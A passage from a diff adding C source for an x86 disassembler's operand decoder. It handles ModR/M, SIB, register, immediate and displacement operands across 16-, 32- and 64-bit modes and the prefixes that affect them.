table whether it's 16 bits or 32/64 bits. + + * Don't forget that Operand Size AND Address Size prefixes may change the decoding! + + * Some instructions force the use of RM16 or other specific types, so take it into account. + */ +static int operands_extract_modrm(_CodeInfo* ci, + _DInst* di, _OpType type, + _OperandNumberType opNum, _PrefixState* ps, + _DecodeType effOpSz, _DecodeType effAdrSz, + int* lockableInstruction, unsigned int mod, unsigned int rm, + _iflags instFlags) +{ + unsigned int vrex = ps->vrex, sib = 0, base = 0; + _Operand* op = &di->ops[opNum]; + uint16_t size = 0; + + if (mod == 3) { + /* + * General-purpose register is handled the same way in 16/32/64 bits decoding modes. + * NOTE!! that we have to override the size of the register, since it was set earlier as Memory and not Register! + */ + op->type = O_REG; + /* Start with original size which was set earlier, some registers have same size of memory and depend on it. */ + size = op->size; + switch(type) + { + case OT_RFULL_M16: + case OT_RM_FULL: + switch (effOpSz) + { + case Decode16Bits: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + size = 16; + rm += REGS16_BASE; + break; + case Decode32Bits: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + size = 32; + rm += REGS32_BASE; + break; + case Decode64Bits: + /* A fix for SMSW RAX which use the REX prefix. */ + if (type == OT_RFULL_M16) ps->usedPrefixes |= INST_PRE_REX; + /* CALL NEAR/PUSH/POP defaults to 64 bits. --> INST_64BITS, REX isn't required, thus ignored anyways. */ + if (instFlags & INST_PRE_REX) ps->usedPrefixes |= INST_PRE_REX; + /* Include REX if used for REX.B. */ + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + size = 64; + rm += REGS64_BASE; + break; + } + break; + case OT_R32_64_M8: + /* FALL THROUGH, decode 32 or 64 bits register. */ + case OT_R32_64_M16: + /* FALL THROUGH, decode 32 or 64 bits register. */ + case OT_RM32_64: /* Take care specifically in MOVNTI/MOVD/CVT's instructions, making it _REG64 with REX or if they are promoted. */ + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + /* Is it a promoted instruction? (only INST_64BITS is set and REX isn't required.) */ + if ((ci->dt == Decode64Bits) && ((instFlags & (INST_64BITS | INST_PRE_REX)) == INST_64BITS)) { + size = 64; + rm += REGS64_BASE; + break; + } + /* Give a chance to REX.W. Because if it was a promoted instruction we don't care about REX.W anyways. */ + if (vrex & PREFIX_EX_W) { + ps->usedPrefixes |= INST_PRE_REX; + size = 64; + rm += REGS64_BASE; + } else { + size = 32; + rm += REGS32_BASE; + } + break; + case OT_RM16_32: /* Used only with MOVZXD instruction to support 16 bits operand. */ + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + /* Is it 16 bits operand size? */ + if (ps->decodedPrefixes & INST_PRE_OP_SIZE) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + size = 16; + rm += REGS16_BASE; + } else { + size = 32; + rm += REGS32_BASE; + } + break; + case OT_RM16: + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + rm += REGS16_BASE; + break; + case OT_RM8: + if (ps->prefixExtType == PET_REX) { + ps->usedPrefixes |= INST_PRE_REX; + rm = operands_fix_8bit_rex_base(rm + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0)); + } else rm += REGS8_BASE; + break; + case OT_MM32: + case OT_MM64: + /* MMX doesn't support extended registers. */ + size = 64; + rm += MMXREGS_BASE; + break; + + case OT_XMM16: + case OT_XMM32: + case OT_XMM64: + case OT_XMM128: + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + size = 128; + rm += SSEREGS_BASE; + break; + + case OT_RM32: + case OT_R32_M8: + case OT_R32_M16: + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + size = 32; + rm += REGS32_BASE; + break; + + case OT_YMM256: + if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE; + rm += AVXREGS_BASE; + break; + case OT_YXMM64_256: + case OT_YXMM128_256: + if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE; + if (vrex & PREFIX_EX_L) { + size = 256; + rm += AVXREGS_BASE; + } else { + size = 128; + rm += SSEREGS_BASE; + } + break; + case OT_WXMM32_64: + case OT_LXMM64_128: + if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE; + size = 128; + rm += SSEREGS_BASE; + break; + + case OT_WRM32_64: + case OT_REG32_64_M8: + case OT_REG32_64_M16: + if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE; + if (vrex & PREFIX_EX_W) { + size = 64; + rm += REGS64_BASE; + } else { + size = 32; + rm += REGS32_BASE; + } + break; + + default: return FALSE; + } + op->size = size; + op->index = (uint8_t)rm; + return TRUE; + } + + /* Memory indirection decoding ahead:) */ + + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + if (lockableInstruction && (ps->decodedPrefixes & INST_PRE_LOCK)) *lockableInstruction = TRUE; + + if (effAdrSz == Decode16Bits) { + /* Decoding according to Table 2-1. (16 bits) */ + if ((mod == 0) && (rm == 6)) { + /* 6 is a special case - only 16 bits displacement. */ + op->type = O_DISP; + di->dispSize = 16; + if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int16_t))) return FALSE; + } else { + /* + * Create the O_MEM for 16 bits indirection that requires 2 registers, E.G: [BS+SI]. + * or create O_SMEM for a single register indirection, E.G: [BP]. + */ + static uint8_t MODS[] = {R_BX, R_BX, R_BP, R_BP, R_SI, R_DI, R_BP, R_BX}; + static uint8_t MODS2[] = {R_SI, R_DI, R_SI, R_DI}; + if (rm < 4) { + op->type = O_MEM; + di->base = MODS[rm]; + op->index = MODS2[rm]; + } else { + op->type = O_SMEM; + op->index = MODS[rm]; + } + + if (mod == 1) { /* 8 bits displacement + indirection */ + di->dispSize = 8; + if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int8_t))) return FALSE; + } else if (mod == 2) { /* 16 bits displacement + indirection */ + di->dispSize = 16; + if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int16_t))) return FALSE; + } + } + + if ((rm == 2) || (rm == 3) || ((rm == 6) && (mod != 0))) { + /* BP's default segment is SS, so ignore it. */ + prefixes_use_segment(INST_PRE_SS, ps, ci->dt, di); + } else { + /* Ignore default DS segment. */ + prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di); + } + } else { /* Decode32Bits or Decode64Bits! */ + /* Remember that from a 32/64 bits ModR/M byte a SIB byte could follow! */ + if ((mod == 0) && (rm == 5)) { + + /* 5 is a special case - only 32 bits displacement, or RIP relative. */ + di->dispSize = 32; + if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int32_t))) return FALSE; + + if (ci->dt == Decode64Bits) { + /* In 64 bits decoding mode depsite of the address size, a RIP-relative address it is. */ + op->type = O_SMEM; + op->index = R_RIP; + di->flags |= FLAG_RIP_RELATIVE; + } else { + /* Absolute address: */ + op->type = O_DISP; + } + } else { + if (rm == 4) { + /* 4 is a special case - SIB byte + disp8/32 follows! */ + /* Read SIB byte. */ + if (!read_stream_safe_uint(ci, &sib, sizeof(int8_t))) return FALSE; + operands_extract_sib(di, opNum, ps, effAdrSz, sib, mod); + } else { + op->type = O_SMEM; + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + + if (effAdrSz == Decode64Bits) op->index = (uint8_t)(REGS64_BASE + rm); + else op->index = (uint8_t)(REGS32_BASE + rm); + } + + if (mod == 1) { + di->dispSize = 8; + if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int8_t))) return FALSE; + } else if ((mod == 2) || ((sib & 7) == 5)) { /* If there is no BASE, read DISP32! */ + di->dispSize = 32; + if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int32_t))) return FALSE; + } + } + + /* Get the base register. */ + base = op->index; + if (di->base != R_NONE) base = di->base; + else if (di->scale >= 2) base = 0; /* If it's only an index but got scale, it's still DS. */ + /* Default for EBP/ESP is SS segment. 64 bits mode ignores DS anyway. */ + if ((base == R_EBP) || (base == R_ESP)) prefixes_use_segment(INST_PRE_SS, ps, ci->dt, di); + else prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di); + } + + return TRUE; +} + + +/* + * This function is reponsible to textually format a required operand according to its type. + * It is vital to understand that there are other operands than what the ModR/M byte specifies. + + * Only by decoding the operands of an instruction which got a LOCK prefix, we could tell whether it may use the LOCK prefix. + * According to Intel, LOCK prefix must precede some specific instructions AND in their memory destination operand form (which means first operand). + * LOCK INC EAX, would generate an exception, but LOCK INC [EAX] is alright. + * Also LOCK ADD BX, [BP] would generate an exception. + + * Return code: + * TRUE - continue parsing the instruction and its operands, everything went right 'till now. + * FALSE - not enough bytes, or invalid operands. + */ + +int operands_extract(_CodeInfo* ci, _DInst* di, _InstInfo* ii, + _iflags instFlags, _OpType type, _OperandNumberType opNum, + unsigned int modrm, _PrefixState* ps, _DecodeType effOpSz, + _DecodeType effAdrSz, int* lockableInstruction) +{ + int ret = 0; + unsigned int mod = 0, reg = 0, rm = 0, vexV = ps->vexV; + unsigned int vrex = ps->vrex, typeHandled = TRUE; + _Operand* op = &di->ops[opNum]; + + /* Used to indicate the size of the MEMORY INDIRECTION only. */ + _OperandSizeType opSize = OPERAND_SIZE_NONE; + + /* + * ModRM bits: + * |7-6-5--------3-2-0| + * |MOD|REG/OPCODE|RM | + * |------------------| + */ + mod = (modrm >> 6) & 3; /* Mode(register-indirection, disp8+reg+indirection, disp16+reg+indirection, general-purpose register) */ + reg = (modrm >> 3) & 7; /* Register(could be part of the opcode itself or general-purpose register) */ + rm = modrm & 7; /* Specifies which general-purpose register or disp+reg to use. */ + + /* -- Memory Indirection Operands (that cannot be a general purpose register) -- */ + switch (type) + { + case OT_MEM64_128: /* Used only by CMPXCHG8/16B. */ + /* Make a specific check when the type is OT_MEM64_128 since the lockable CMPXCHG8B uses this one... */ + if (lockableInstruction && (ps->decodedPrefixes & INST_PRE_LOCK)) *lockableInstruction = TRUE; + if (effOpSz == Decode64Bits) { + ps->usedPrefixes |= INST_PRE_REX; + opSize = OPERAND_SIZE128; + } else opSize = OPERAND_SIZE64; + break; + case OT_MEM32: opSize = OPERAND_SIZE32; break; + case OT_MEM32_64: + /* Used by MOVNTI. Default size is 32bits, 64bits with REX. */ + if (effOpSz == Decode64Bits) { + ps->usedPrefixes |= INST_PRE_REX; + opSize = OPERAND_SIZE64; + } else opSize = OPERAND_SIZE32; + break; + case OT_MEM64: opSize = OPERAND_SIZE64; break; + case OT_MEM128: opSize = OPERAND_SIZE128; break; + case OT_MEM16_FULL: /* The size indicates about the second item of the pair. */ + switch (effOpSz) + { + case Decode16Bits: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + opSize = OPERAND_SIZE16; + break; + case Decode32Bits: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + opSize = OPERAND_SIZE32; + break; + case Decode64Bits: + /* Mark usage of REX only if it was required. */ + if ((instFlags & (INST_64BITS | INST_PRE_REX)) == (INST_64BITS | INST_PRE_REX)) ps->usedPrefixes |= INST_PRE_REX; + opSize = OPERAND_SIZE64; + break; + } + break; + case OT_MEM16_3264: /* The size indicates about the second item of the pair. */ + if (ci->dt == Decode64Bits) opSize = OPERAND_SIZE64; + else opSize = OPERAND_SIZE32; + break; + case OT_MEM_OPT: + /* Since the MEM is optional, only when mod != 3, then return true as if the operand was alright. */ + if (mod == 0x3) return TRUE; + break; + case OT_FPUM16: opSize = OPERAND_SIZE16; break; + case OT_FPUM32: opSize = OPERAND_SIZE32; break; + case OT_FPUM64: opSize = OPERAND_SIZE64; break; + case OT_FPUM80: opSize = OPERAND_SIZE80; break; + case OT_LMEM128_256: + if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE256; + else opSize = OPERAND_SIZE128; + break; + case OT_MEM: /* Size is unknown, but still handled. */ break; + default: typeHandled = FALSE; break; + } + if (typeHandled) { + /* All of the above types can't use a general-purpose register (a MOD of 3)!. */ + if (mod == 0x3) { + if (lockableInstruction) *lockableInstruction = FALSE; + return FALSE; + } + op->size = _OPSIZETOINT[opSize]; + ret = operands_extract_modrm(ci, di, type, opNum, ps, effOpSz, effAdrSz, lockableInstruction, mod, rm, instFlags); + if ((op->type == O_REG) || (op->type == O_SMEM) || (op->type == O_MEM)) { + di->usedRegistersMask |= _REGISTERTORCLASS[op->index]; + } + return ret; + } + + /* -- Memory Indirection Operands (that can be a register) -- */ + typeHandled = TRUE; + switch (type) + { + case OT_RM_FULL: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + /* PUSH/JMP/CALL are automatically promoted to 64 bits! */ + if (effOpSz == Decode32Bits) { + opSize = OPERAND_SIZE32; + break; + } else if (effOpSz == Decode64Bits) { + /* Mark usage of REX only if it was required. */ + if ((instFlags & INST_64BITS) == 0) ps->usedPrefixes |= INST_PRE_REX; + opSize = OPERAND_SIZE64; + break; + } + /* FALL THROUGH BECAUSE dt==Decoded16Bits @-<----*/ + case OT_RM16: + /* If we got here not from OT_RM16, then the prefix was used. */ + if (type != OT_RM16) ps->usedPrefixes |= INST_PRE_OP_SIZE; + opSize = OPERAND_SIZE16; + break; + case OT_RM32_64: + /* The default size is 32, which can be 64 with a REX only. */ + if (effOpSz == Decode64Bits) { + opSize = OPERAND_SIZE64; + /* Mark REX prefix as used if non-promoted instruction. */ + if ((instFlags & (INST_64BITS | INST_PRE_REX)) == (INST_64BITS | INST_PRE_REX)) { + ps->usedPrefixes |= INST_PRE_REX; + } + } else opSize = OPERAND_SIZE32; + break; + case OT_RM16_32: + /* Ignore REX, it's either 32 or 16 bits RM. */ + if (ps->decodedPrefixes & INST_PRE_OP_SIZE) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + /* Assume: We are in 64bits when we have this operand used. */ + opSize = OPERAND_SIZE16; + } else opSize = OPERAND_SIZE32; + break; + case OT_WXMM32_64: + case OT_WRM32_64: + if (vrex & PREFIX_EX_W) opSize = OPERAND_SIZE64; + else opSize = OPERAND_SIZE32; + break; + case OT_YXMM64_256: + if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE256; + else opSize = OPERAND_SIZE64; + break; + case OT_YXMM128_256: + if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE256; + else opSize = OPERAND_SIZE128; + break; + case OT_LXMM64_128: + if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE128; + else opSize = OPERAND_SIZE64; + break; + case OT_RFULL_M16: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + opSize = OPERAND_SIZE16; + break; + + case OT_RM8: + case OT_R32_M8: + case OT_R32_64_M8: + case OT_REG32_64_M8: + opSize = OPERAND_SIZE8; + break; + + case OT_XMM16: + case OT_R32_M16: + case OT_R32_64_M16: + case OT_REG32_64_M16: + opSize = OPERAND_SIZE16; + break; + + case OT_RM32: + case OT_MM32: + case OT_XMM32: + opSize = OPERAND_SIZE32; + break; + + case OT_MM64: + case OT_XMM64: + opSize = OPERAND_SIZE64; + break; + + case OT_XMM128: opSize = OPERAND_SIZE128; break; + case OT_YMM256: opSize = OPERAND_SIZE256; break; + default: typeHandled = FALSE; break; + } + if (typeHandled) { + /* Fill size of memory dereference for operand. */ + op->size = _OPSIZETOINT[opSize]; + ret = operands_extract_modrm(ci, di, type, opNum, ps, effOpSz, effAdrSz, lockableInstruction, mod, rm, instFlags); + if ((op->type == O_REG) || (op->type == O_SMEM) || (op->type == O_MEM)) { + di->usedRegistersMask |= _REGISTERTORCLASS[op->index]; + } + return ret; + } + + /* Simple operand type (no ModRM byte). */ + switch (type) + { + case OT_IMM8: + operands_set_ts(op, O_IMM, 8); + if (!read_stream_safe_uint(ci, &di->imm.byte, sizeof(int8_t))) return FALSE; + break; + case OT_IMM_FULL: /* 16, 32 or 64, depends on prefixes. */ + if (effOpSz == Decode16Bits) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + /* FALL THROUGH */ + case OT_IMM16: /* Force 16 bits imm. */ + operands_set_ts(op, O_IMM, 16); + if (!read_stream_safe_uint(ci, &di->imm.word, sizeof(int16_t))) return FALSE; + break; + /* + * Extension: MOV imm64, requires REX. + * Make sure it needs the REX. + * REX must be present because op size function takes it into consideration. + */ + } else if ((effOpSz == Decode64Bits) && + ((instFlags & (INST_64BITS | INST_PRE_REX)) == (INST_64BITS | INST_PRE_REX))) { + ps->usedPrefixes |= INST_PRE_REX; + + operands_set_ts(op, O_IMM, 64); + if (!read_stream_safe_uint(ci, &di->imm.qword, sizeof(int64_t))) return FALSE; + break; + } else ps->usedPrefixes |= INST_PRE_OP_SIZE; + /* FALL THROUGH BECAUSE dt==Decoded32Bits @-<----*/ + case OT_IMM32: + op->type = O_IMM; + if (ci->dt == Decode64Bits) { + /* + * Imm32 is sign extended to 64 bits! + * Originally the op size was 64, but later was changed to reflect real size of imm. + */ + op->size = 32; + /* Use this as an indicator that it should be signed extended. */ + di->flags |= FLAG_IMM_SIGNED; + if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int32_t))) return FALSE; + } else { + op->size = 32; + if (!read_stream_safe_uint(ci, &di->imm.dword, sizeof(int32_t))) return FALSE; + } + break; + case OT_SEIMM8: /* Sign extended immediate. */ + /* + * PUSH SEIMM8 can be prefixed by operand size: + * Input stream: 66, 6a, 55 + * 64bits DT: push small 55 + * 32bits DT: push small 55 + * 16bits DT: push large 55 + * small/large indicates the size of the eSP pointer advancement. + * Check the instFlags (ii->flags) if it can be operand-size-prefixed and if the prefix exists. + */ + op->type = O_IMM; + if ((instFlags & INST_PRE_OP_SIZE) && (ps->decodedPrefixes & INST_PRE_OP_SIZE)) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + switch (ci->dt) + { + case Decode16Bits: op->size = 32; break; + case Decode32Bits: + case Decode64Bits: + op->size = 16; + break; + } + } else op->size = 8; + di->flags |= FLAG_IMM_SIGNED; + if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int8_t))) return FALSE; + break; + case OT_IMM16_1: + operands_set_ts(op, O_IMM1, 16); + if (!read_stream_safe_uint(ci, &di->imm.ex.i1, sizeof(int16_t))) return FALSE; + break; + case OT_IMM8_1: + operands_set_ts(op, O_IMM1, 8); + if (!read_stream_safe_uint(ci, &di->imm.ex.i1, sizeof(int8_t))) return FALSE; + break; + case OT_IMM8_2: + operands_set_ts(op, O_IMM2, 8); + if (!read_stream_safe_uint(ci, &di->imm.ex.i2, sizeof(int8_t))) return FALSE; + break; + case OT_REG8: + operands_set_ts(op, O_REG, 8); + if (ps->prefixExtType) { + /* + * If REX prefix is valid then we will have to use low bytes. + * This is a PASSIVE behavior changer of REX prefix, it affects operands even if its value is 0x40 ! + */ + ps->usedPrefixes |= INST_PRE_REX; + op->index = (uint8_t)operands_fix_8bit_rex_base(reg + ((vrex & PREFIX_EX_R) ? EX_GPR_BASE : 0)); + } else op->index = (uint8_t)(REGS8_BASE + reg); + break; + case OT_REG16: + operands_set_tsi(op, O_REG, 16, REGS16_BASE + reg); + break; + case OT_REG_FULL: + switch (effOpSz) + { + case Decode16Bits: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + if (vrex & PREFIX_EX_R) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } + operands_set_tsi(op, O_REG, 16, REGS16_BASE + reg); + break; + case Decode32Bits: + if (vrex & PREFIX_EX_R) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } else ps->usedPrefixes |= INST_PRE_OP_SIZE; + operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg); + break; + case Decode64Bits: /* rex must be presented. */ + ps->usedPrefixes |= INST_PRE_REX; + operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg + ((vrex & PREFIX_EX_R) ? EX_GPR_BASE : 0)); + break; + } + break; + case OT_REG32: + if (vrex & PREFIX_EX_R) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } + operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg); + break; + case OT_REG32_64: /* Handle CVT's, MOVxX and MOVNTI instructions which could be extended to 64 bits registers with REX. */ + if (vrex & PREFIX_EX_R) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } + + /* Is it a promoted instruction? (only INST_64BITS is set and REX isn't required.) */ + if ((ci->dt == Decode64Bits) && ((instFlags & (INST_64BITS | INST_PRE_REX)) == INST_64BITS)) { + operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg); + break; + } + /* Give a chance to REX.W. Because if it was a promoted instruction we don't care about REX.W anyways. */ + if (vrex & PREFIX_EX_W) { + ps->usedPrefixes |= INST_PRE_REX; + operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg); + } else operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg); + break; + case OT_FREG32_64_RM: /* Force decoding mode. Used for MOV CR(n)/DR(n) which defaults to 64 bits operand size in 64 bits. */ + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + + if (ci->dt == Decode64Bits) operands_set_tsi(op, O_REG, 64, REGS64_BASE + rm); + else operands_set_tsi(op, O_REG, 32, REGS32_BASE + rm); + break; + case OT_MM: /* MMX register */ + operands_set_tsi(op, O_REG, 64, MMXREGS_BASE + reg); + break; + case OT_MM_RM: /* MMX register, this time from the RM field */ + operands_set_tsi(op, O_REG, 64, MMXREGS_BASE + rm); + break; + case OT_REGXMM0: /* Implicit XMM0 operand. */ + reg = 0; + vrex = 0; + /* FALL THROUGH */ + case OT_XMM: /* SSE register */ + if (vrex & PREFIX_EX_R) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } + operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg); + break; + case OT_XMM_RM: /* SSE register, this time from the RM field */ + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + rm += EX_GPR_BASE; + } + operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + rm); + break; + case OT_CREG: + /* + * Don't parse if the reg exceeds the bounds of the array. + * Most of the CR's are not implemented, so if there's no matching string, the operand is invalid. + */ + if (vrex & PREFIX_EX_R) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } else if ((ci->dt == Decode32Bits) && (ps->decodedPrefixes & INST_PRE_LOCK)) { + /* + * NOTE: In 32 bits decoding mode, + * if the lock prefix is set before MOV CR(n) it will become the 4th bit of the REG field like REX.R in 64 bits. + */ + reg += EX_GPR_BASE; + ps->usedPrefixes |= INST_PRE_LOCK; + } + /* Ignore some registers which do not exist. */ + if ((reg >= CREGS_MAX) || (reg == 1) || ((reg >= 5) && (reg <= 7))) return FALSE; + + op->type = O_REG; + if (ci->dt == Decode64Bits) op->size = 64; + else op->size = 32; + op->index = (uint8_t)(CREGS_BASE + reg); + break; + case OT_DREG: + /* + * In 64 bits there are 16 debug registers. + * but accessing any of dr8-15 which aren't implemented will cause an #ud. + */ + if ((reg == 4) || (reg == 5) || (vrex & PREFIX_EX_R)) return FALSE; + + op->type = O_REG; + if (ci->dt == Decode64Bits) op->size = 64; + else op->size = 32; + op->index = (uint8_t)(DREGS_BASE + reg); + break; + case OT_SREG: /* Works with REG16 only! */ + /* If lockableInstruction pointer is non-null we know it's the first operand. */ + if (lockableInstruction && (reg == 1)) return FALSE; /* Can't MOV CS, <REG>. */ + /*Don't parse if the reg exceeds the bounds of the array. */ + if (reg <= SEG_REGS_MAX - 1) operands_set_tsi(op, O_REG, 16, SREGS_BASE + reg); + else return FALSE; + break; + case OT_SEG: + op->type = O_REG; + /* Size of reg is always 16, it's up to caller to zero extend it to operand size. */ + op->size = 16; + ps->usedPrefixes |= INST_PRE_OP_SIZE; + /* + * Extract the SEG from ii->flags this time!!! + * Check whether an operand size prefix is used. + */ + switch (instFlags & INST_PRE_SEGOVRD_MASK) + { + case INST_PRE_ES: op->index = R_ES; break; + case INST_PRE_CS: op->index = R_CS; break; + case INST_PRE_SS: op->index = R_SS; break; + case INST_PRE_DS: op->index = R_DS; break; + case INST_PRE_FS: op->index = R_FS; break; + case INST_PRE_GS: op->index = R_GS; break; + } + break; + case OT_ACC8: + operands_set_tsi(op, O_REG, 8, R_AL); + break; + case OT_ACC16: + operands_set_tsi(op, O_REG, 16, R_AX); + break; + case OT_ACC_FULL_NOT64: /* No REX.W support for IN/OUT. */ + vrex &= ~PREFIX_EX_W; + case OT_ACC_FULL: + if (effOpSz == Decode16Bits) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + operands_set_tsi(op, O_REG, 16, R_AX); + } else if (effOpSz == Decode32Bits) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + operands_set_tsi(op, O_REG, 32, R_EAX); + } else { /* Decode64Bits */ + /* Only non-promoted instructions need REX in order to decode in 64 bits. */ + /* MEM-OFFSET MOV's are NOT automatically promoted to 64 bits. */ + if (~instFlags & INST_64BITS) { + ps->usedPrefixes |= INST_PRE_REX; + } + operands_set_tsi(op, O_REG, 64, R_RAX); + } + break; + case OT_PTR16_FULL: + /* ptr16:full - full is size of operand size to read, therefore Operand Size Prefix affects this. So we need to handle it. */ + if (effOpSz == Decode16Bits) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + ci->codeLen -= sizeof(int16_t)*2; + if (ci->codeLen < 0) return FALSE; + + operands_set_ts(op, O_PTR, 16); + di->imm.ptr.off = RUSHORT(ci->code); /* Read offset first. */ + di->imm.ptr.seg = RUSHORT((ci->code + sizeof(int16_t))); /* And read segment. */ + + ci->code += sizeof(int16_t)*2; + } else { /* Decode32Bits, for Decode64Bits this instruction is invalid. */ + ps->usedPrefixes |= INST_PRE_OP_SIZE; + ci->codeLen -= sizeof(int32_t) + sizeof(int16_t); + if (ci->codeLen < 0) return FALSE; + + operands_set_ts(op, O_PTR, 32); + di->imm.ptr.off = RULONG(ci->code); /* Read 32bits offset this time. */ + di->imm.ptr.seg = RUSHORT((ci->code + sizeof(int32_t))); /* And read segment, 16 bits. */ + + ci->code += sizeof(int32_t) + sizeof(int16_t); + } + break; + case OT_RELCB: + case OT_RELC_FULL: + + if (type == OT_RELCB) { + operands_set_ts(op, O_PC, 8); + if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int8_t))) return FALSE; + } else { /* OT_RELC_FULL */ + + /* Yep, operand size prefix affects relc also. */ + ps->usedPrefixes |= INST_PRE_OP_SIZE; + if (effOpSz == Decode16Bits) { + operands_set_ts(op, O_PC, 16); + if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int16_t))) return FALSE; + } else { /* Decode32Bits or Decode64Bits = for now they are the same */ + operands_set_ts(op, O_PC, 32); + if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int32_t))) return FALSE; + } + } + + /* Support for hint, see if there's a segment override. */ + if ((ii->opcodeId >= I_JO) && (ii->opcodeId <= I_JG)) { + if (ps->decodedPrefixes & INST_PRE_CS) { + ps->usedPrefixes |= INST_PRE_CS; + di->flags |= FLAG_HINT_NOT_TAKEN; + } else if (ps->decodedPrefixes & INST_PRE_DS) { + ps->usedPrefixes |= INST_PRE_DS; + di->flags |= FLAG_HINT_TAKEN; + } + } + break; + case OT_MOFFS8: + op->size = 8; + /* FALL THROUGH, size won't be changed. */ + case OT_MOFFS_FULL: + op->type = O_DISP; + if (op->size == 0) { + /* Calculate size of operand (same as ACC size). */ + switch (effOpSz) + { + case Decode16Bits: op->size = 16; break; + case Decode32Bits: op->size = 32; break; + case Decode64Bits: op->size = 64; break; + } + } + + prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di); + + /* + * Just a pointer to a BYTE, WORD, DWORD, QWORD. Works only with ACC8/16/32/64 respectively. + * MOV [0x1234], AL ; MOV AX, [0x1234] ; MOV EAX, [0x1234], note that R/E/AX will be chosen by OT_ACC_FULL. + */ + if (effAdrSz == Decode16Bits) { + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + + di->dispSize = 16; + if (!read_stream_safe_uint(ci, &di->disp, sizeof(int16_t))) return FALSE; + } else if (effAdrSz == Decode32Bits) { + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + + di->dispSize = 32; + if (!read_stream_safe_uint(ci, &di->disp, sizeof(int32_t))) return FALSE; + } else { /* Decode64Bits */ + di->dispSize = 64; + if (!read_stream_safe_uint(ci, &di->disp, sizeof(int64_t))) return FALSE; + } + break; + case OT_CONST1: + operands_set_ts(op, O_IMM, 8); + di->imm.byte = 1; + break; + case OT_REGCL: + operands_set_tsi(op, O_REG, 8, R_CL); + break; + + case OT_FPU_SI: + /* Low 3 bits specify the REG, similar to the MODR/M byte reg. */ + operands_set_tsi(op, O_REG, 32, FPUREGS_BASE + (*(ci->code-1) & 7)); + break; + case OT_FPU_SSI: + operands_set_tsi(op, O_REG, 32, R_ST0); + operands_set_tsi(op + 1, O_REG, 32, FPUREGS_BASE + (*(ci->code-1) & 7)); + break; + case OT_FPU_SIS: + operands_set_tsi(op, O_REG, 32, FPUREGS_BASE + (*(ci->code-1) & 7)); + operands_set_tsi(op + 1, O_REG, 32, R_ST0); + break; + + /* + * Special treatment for Instructions-Block: + * INC/DEC (only 16/32 bits) /PUSH/POP/XCHG instructions, which get their REG from their own binary code. + + * Notice these instructions are 1 or 2 byte long, 